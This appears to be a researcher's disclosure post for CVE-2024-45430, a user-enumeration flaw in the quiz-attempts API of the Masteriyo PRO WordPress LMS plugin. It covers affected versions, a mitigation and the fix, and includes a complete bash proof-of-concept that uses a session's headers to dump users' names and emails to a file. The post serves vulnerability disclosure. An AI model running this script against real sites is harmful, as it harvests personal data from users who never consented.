Entrada

User Enumeration Vulnerability in Masteriyo (CVE-2024-45430 RESERVED)

Overview

The Masteriyo PRO - LMS for WordPress plugins contain a vulnerability that allows arbitrary user enumeration without administrative privileges. The this issue has resolved on 2.14.4 version.

Technical Details

The Quiz Attempts functionality enables user enumeration, as both the administrative panel and the regular user dashboard use the same API endpoint that does not validate whether the user is an administrator or not. This means that any user can view the attempts of all other users. The affected route is /wp-json/masteriyo/v1/quizes/attempts/?page=1&per_page=10, where manipulating the arguments and formatting the output allows enumerating all users who have taken quizzes.

quiz-attempts Normal behavior

quiz-attempts-fail Using the filter

quiz-attemps-object Another user object

Impact

By exploiting this vulnerability, an attacker with a regular user account can access sensitive user information, such as display names, first names, last names, and email addresses, without the need for an admin account.

Mitigation

Disabling the quiz attempts page for users is the unique solution for now if you’re using an old versions (<=2.14.3).

mitigation WordPress Admin Panel

PoC

You can create users and experiment in a secure environment using the official Pro Demo. Be sure to complete some quizzes during your testing.

v2.13.3

v2.14.1-2

The version 2.14.1 only addresses the issue in the user interface, but it does not resolve the entire problem, similar to version 2.14.2.

v2.14.3

In this case, the /attempt endpoint is protected, but if we specify a different user ID as an argument (?user_id=), the arbitrary user information reading persists.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/bin/bash

# CVE: CVE-2024-45430
# PoC Script
# Author: Meyer Pidiache <meyer-pidiache>
# Description: This script is a proof of concept for CVE-2024-45430.
# Prerequisites:
# - Headers file for HTTP requests (default 'headers.txt').
# Usage:
#   ./script.sh -u <URL of the API endpoint> -h <headers file> -o <users output file>
# Example:
#   ./script.sh -u http://localhost:8080/wp-json/masteriyo/v1/quizes/attempts -h headers.txt -o users.json
# Notes:
#   To obtain the headers from any request with an active session:
#   Browser -> Developer Tools -> Network -> Request -> Right-click -> Copy value -> Copy request headers.

# Colors and formatting for CLI output
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
BOLD='\033[1m'
NC='\033[0m' # No color

# Function to display usage
show_usage() {
  echo -e "${YELLOW}Usage: $0 -u <URL of the API endpoint> -h <headers file> -o <users output file>${NC}"
  exit 1
}

# Process arguments
while getopts ":u:h:o:" opt; do
  case $opt in
    u) BASE_URL="$OPTARG" ;;
    h) HEADERS_FILE="$OPTARG" ;;
    o) USER_FILE="$OPTARG" ;;
    \?) echo -e "${RED}[!] Invalid option -$OPTARG${NC}" >&2; show_usage ;;
    :) echo -e "${RED}[!] Option -$OPTARG requires an argument${NC}" >&2; show_usage ;;
  esac
done

# Check that the base URL was provided
if [ -z "$BASE_URL" ]; then
  echo -e "${RED}[!] You must provide the Base URL as an argument.${NC}"
  show_usage
fi

# Use default values if no files were provided
HEADERS_FILE="${HEADERS_FILE:-headers.txt}"
USER_FILE="${USER_FILE:-users.json}"

# Read headers from file and exclude lines that start with "GET", "POST", etc.
HEADERS=()
while IFS= read -r line; do
  if [[ "$line" != *HTTP* ]]; then
    HEADERS+=('-H' "$line")
  fi
done < "$HEADERS_FILE"

# Verify if the headers are valid by making a test request
echo -e "${BLUE}[*] Verifying headers...${NC}"
test_response=$(curl -s -o /dev/null -w "%{http_code}" --compressed "${BASE_URL}?page=1&per_page=1" "${HEADERS[@]}")

if [ "$test_response" -ne 200 ]; then
  echo -e "${RED}[!] The headers are invalid or the URL is not accessible.${NC}"
  echo -e "${YELLOW}[!] Please check the headers file or the provided URL.${NC}"
  exit 1
fi

# Check if the users file exists, if not create it as an empty array
if [ ! -f "$USER_FILE" ]; then
  echo "[]" > "$USER_FILE"
  echo -e "${YELLOW}[!] File $USER_FILE created as an empty array.${NC}"
fi

echo -e "${BLUE}[*] Retrieving the total number of attempts...${NC}"
response=$(curl -s --compressed "${BASE_URL}?page=1&per_page=1" "${HEADERS[@]}")

if [ -z "$response" ]; then
  echo -e "${RED}[!] The response from the first request is empty.${NC}"
  echo -e "${YELLOW}[!] Request: curl --compressed \"${BASE_URL}?page=1&per_page=1\" \"${HEADERS[@]}\"${NC}"
  echo -e "${BLUE}[!] Response: ${BOLD}$response${NC}"
  exit 1
fi

total_attempts=$(echo "$response" | jq -r '.meta.total')

if [ -z "$total_attempts" ] || [ "$total_attempts" -le 0 ]; then
  echo -e "${RED}[!] Failed to retrieve the total number of attempts.${NC}"
  echo -e "${BLUE}[!] Response: ${BOLD}$response${NC}"
  total_attempts=10
fi

echo -e "${GREEN}[*] Total attempts to investigate: $total_attempts${NC}"

echo -e "${BLUE}[*] Investigating attempts...${NC}"
response=$(curl -s --compressed "${BASE_URL}?page=1&per_page=${total_attempts}&_locale=user" "${HEADERS[@]}")

if [ -z "$response" ]; then
  echo -e "${RED}[!] The response from the second request is empty.${NC}"
  echo -e "${YELLOW}[!] Request: curl --compressed \"${BASE_URL}?page=1&per_page=${total_attempts}&_locale=user\" \"${HEADERS[@]}\"${NC}"
  exit 1
fi

existing_ids=$(jq -r '.[].id' "$USER_FILE")

if [ ${#existing_ids[@]} -gt 0 ]; then
  echo -e "${BLUE}[*] Saving user information...${NC}"

  # Use an associative array to store existing IDs
  declare -A id_map
  for id in $existing_ids; do
    id_map["$id"]=1
  done

  echo "$response" | jq -c '.data[] | .user' | while IFS= read -r user; do
    id=$(echo "$user" | jq -r '.id')

    if [[ -z "${id_map[$id]}" ]]; then
      # Add user to the file
      jq --argjson user "$user" '. += [$user]' "$USER_FILE" > "${USER_FILE}.tmp" && mv "${USER_FILE}.tmp" "$USER_FILE"
      id_map["$id"]=1

      useremail=$(echo "$user" | jq -r '.email')
      echo -e "${GREEN}[*] User saved: ${BOLD}$useremail${NC} (ID: $id)"
    fi
  done

else
  echo -e "${YELLOW}[*] No users found.${NC}"
fi

echo -e "${BLUE}[*] Operation completed.${NC}"

exploit

Esta entrada está licenciada bajo CC BY 4.0 por el autor.